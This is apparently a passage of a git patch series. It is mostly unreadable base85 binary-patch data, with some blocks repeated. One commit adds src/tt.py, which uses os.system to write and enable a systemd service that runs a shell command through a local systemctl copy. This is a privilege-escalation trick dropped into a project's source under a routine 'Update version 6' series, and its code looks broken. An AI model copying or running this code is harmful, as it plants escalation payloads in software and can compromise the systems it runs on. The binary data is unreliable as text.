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: #Make sure it's more than 1 letter diff --git a/src/tt.py b/src/tt.py new file mode 100644 index 00000000..f92d2e75 --- /dev/null +++ b/src/tt.py @@ -0,0 +1,18 @@ +import os +import sys + +os.system("TF=$(mktemp).service") +os.system("echo '[Service]") +os.system("Type=oneshot") +os.system("ExecStart=/bin/sh -c id > /tmp/output'") +os.system("[Install]") +os.system("WantedBy=multi-user.target' > $TF") +os.system("./systemctl link $TF") +os.system("./systemctl enable --now $TF") + + + + + + + From 3114f8349d26670b1c989ae4d63810533c1e7fdc Mon Sep 17 00:00:00 2001 From: mospher <63190518+mospher142@users.noreply.github.com> Date: Fri, 11 Dec 2020 01:56:51 +0000 Subject: [PATCH 21/31] Update version 6 --- src/cat | Bin 43416 -> 0 bytes src/js_plugins.py | 16 +++++++++++----- 2 files changed, 11 insertions(+), 5 deletions(-) delete mode 100644 src/cat diff --git a/src/cat b/src/cat deleted file mode 100644 index 22d3b95415b2713fb990dde23db5344b36198de4..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 43416 zcmeHwdwdi{wtvqgfsp7-M9`=ptqc;BgoKACN-zTx(jya%BuG>+&k4zzmzfy|E|0h~ zLE2$7UQyXy_2ORdyQ#3DnO}v?Kk&_$sC^mNcGYwF#sH)q6H0V5)!0(@vZ~ssU;c|($qZFOQNJm zU${i}9fdg#HLpQ^J=R_;r#HZ!OH{lD_4PXEvrDEAQ+ zpZj!w*hd|~r9n-fBqM!txjv0hL>XNo`xXRay>ed92)SAW4N@C)mHyRR`_Hsj!t0Iy zmCDBmU*h(nL9M+TQID%kt@wAo`LGMKd3*83p_LhhAZU=QSD4V)P<`d(35~UxjSbDd z_RRL&D>JX0oaJfBn#fuvxu^}QUUdB&0b+L(j;oQ4#W0?y^5^CrDc$wz?hA7!_@9-3 zm3@8WzfDs#9@Hk$&_(sR3ZnTdIgU(asA;cl=(yyYDxD^ah&+{DgU@t)5`&jLkuh@B zh_ri(NAD`0K6;P)&8C-17C!d$tWUciS}Q+1GxN|#Z;r2NJ5+7|Chur)#KdhUhF-pJ z!&@Vc)LedT;;a>55%)R=LJb|D^iJRg!talRC$};X{Ymf_QD(e4fEbAWUMOuK{K`1^ zcjMqk$HBi92Y)OMUWy~y!e=P~+=gl+@>d7Qt{s*-E#BRTI&AkTgS{r!yoLZN`;HTp|9e%xJ$)PP=O#|9j>8e_e!CzuF>bI z7b+@R+Zvj^brm)Bw+kM(x3Q(Bs?jYpRkwLt7S#wIZ(DOsQ>)O@>TPJQrEFVGeVb5Q zv%u~3y4$^iyREII4O~3ls+!x0Nkv^%L!;2(S;Y7XZSJZ@@D!@5TiU!rg}c4ME3~$? zENH80s%U6lh}OIfEzK3pRZVVisqrpubyt9QMN@S}jjyeusj6LQZSgd;gKh1?29H~S zc*GBqG`gFGCU+BrMoq}k+)_c(6F+LUmI_IBuxqVa;Py1!Nln!0`|GW3@p*+tkK27a zqi$U+)YUY$pqVDMnWkz_Lo-BfZmejmYF^OLT-Op6vznSCj?`E~^8(0J3o(R-mKtv( zwF;$y1O=dJhl0F9T?2$}5$YDTHF#BF+|8_NODj4vfL=WHP+L?x?Nt?Z4b4@J)Dv{B zsb!&CsK&U^NYu78RW&rDDH>uL4%A~9kGHjk`bC{Y)2%+Qr^43^(QkLx3Xq-TpqBX% zXvvB?Ut=SRYS3sE8h{e+@U?i|74(hXR**@wG<$@b+-)9Gd4=-^G>hI;_&ngOk$Jp} z8{HKPs~SB9R8`vok3f8x#rWFX(f%_@7OHG3+}@gsnwHkZZ4C?Ry+V=8IekXO#H>lN zRMzBZIwzKlr6y)gfox^P6&M`%f(DP*-BwmS1LNW@tEz^nS5z!$f(5D?t58V?B*Yvt z^MA3Fh9Q^`E!Sh!H0>vh*rWk4D(69h31uesO;G))^$832!7dXbW=f~={J9McXVZ>n zGv+_xycaYKp{RN{&#%7!A%y*j!n-^_jL|0u2YKFiA<>(K!^qR6?Xxt$(lb%Tui^VI z4d2D_YYq6Rcc}E;2E2>o4;b*J94~OcuJNzpc+r4w%^F7sm^HU#j)@QI1bG;Gg06Gz0!Qj!!q>AL4k? zfd9`{RsIYE{?A&whIJ;H=Q9lWOL#upfFHs0#`S6#=fBoKzmDfO81UjVs+_z2s6yJa z@+~Gq^yu&xswC`tzYc$~4u3$0=O)Wa6&?O+9lf@0Q=7Ce)GjSfA^cSu5>Q*W2|rzj z*Wv=gU#r7w>p$V`I()%@s~Os(YIB`1k`B+OC?hP<;c3sSUFABw7OPNMr4COz)vkIS zUOP&mvQ`~lvr)pg>+o65b@Mr1pYjk)xw&=B1hqpwrg7Bmc zZ`I+~>F{Yf{01HV938$}hu6o+yL9+-b@V+tJe^Z$*M1#-xP}Bgpu_VcHddR zg%01L!;jbDSL*PYI((N7pQXdE(cvfP@N0GWY#shd9X>~gU#G)Q(&0Dg@RN1;ZXJG# z4u2+jMgwOwa7F`XG;l@(XEbm|17|eQUjtuTFFqyt4<}2(q*w35cCEA9YmW3t{%y%y z8DV5f%DsYcG%_X?z&c7G`g$rk8vY~_iFC0%ZTOCc_eArw(K{O69L>`P?`Zg$Xr4B9 zN5hXt^R$^f8ooc8rw!iG@Lkb7Z3>Qt?}+AULw7V>70uH|?r8YNXr4B3N5l4Lo;Ger z!#UABZP<>6FNx-9qjofWPBd>}c~dlRW%;ju(E3XoGW0*1r;Ql;AI;MS4E>MhY2$_d zNAtAdLjR+A+GwHw(L8Oi(En(jHdg3=G*25U^go)XjTHJH&C|gG`X9~Hh6??U=4m5^ z{zvn)fkOYIc{+eN8a74qw2?X*{_1j+f3_i?WXOLn_aD!14EZC5{9g_E4-NUZ4f!_=`R#`MCPV%OL;eqj{J$IW zj~en18uB4SzSEFjYRLNx`6ff&t>u-|m?g?_`l9)x9Hy_o(bqxx`jEc%BtLJzk%7@%itpgqFIc;Mw^|{6cVr&VEV~0FwR$fUdMN zFy%xMdQ^?$m7Iw3KD=Q5GBB}r9!qAJo3Wfqp@3~IdipZdF1$itlDtKd9ky2G6g1J< zZC!a2y6Xx)Z`)6W8w3FZ5s8d)h907%l(z*av*5B8^(pmeLaLc!U&-{p9L)2}NRTy> zoL>ec@hz8vYKt`VC6XMlbr4@5p9DnDmzoF(Y5_R#7RCsDuos7|-MSunNr9$UI&91G zyteVnM#c0a1s%3r8rKpjIJFNAetNecbX=Qh4g3qDl$_%^-O8`gAvtL$@bY%*SPcwI z3YOVg+y>e1I4;6g&x*-Te8mFnX@(e_!_v|o&tEQ0rZWk@nrnlihS zT8t3rOd*f}G^~js+?DF~jDh=@sMq3$z?*oYEoxu6_zOS{H z;=RbfwE*mHqw4mR6{g;MV)kg?MAJmo>fKLa&bZ`Ht)mLilcSRSk!o-I5x+X~c33;V zfqGmf4Bjbe++Un|?<{-|G%gyuGMlJuM#o9PVsU8dFm-V5t^r3ox+jI^n4q*}C3gS! zChs{Ac!^-&L^f;fycya6;&Q<^5dbQ^Lgn`iv$!dz;Ppta&z|7yp{khts4lTH&+DIq+Gl?e6?yn?x|P#zo}snG{B zkE0(s-7jBM25SkeX7&mrT!LP8cDJWHf~y#+u=7=G=Nvew@HBkYbt%^zk3@pW{%V$j+oJkkEx@mYc#0 zfRlp5FQJY_UPkMJLq4KxybKDHw=2K;CKAbkIfdcpN5go7+3;S0A1Gd83wEtEX)0U6t?Rq3oi{>a>8@?G%-=fS zKF>biew)2wt94Wd^{}JeBzXU|_a68Vbc#8UNlfG`AcTD*l0vu;Gly1$4rHV}b-A#1 zJ_{KLOG^V`p9HjaJ_2ko|L9%h<5_K`n)-K5z}7?Mp(U)=@V7z0G>Mh)jxmC;5w02L 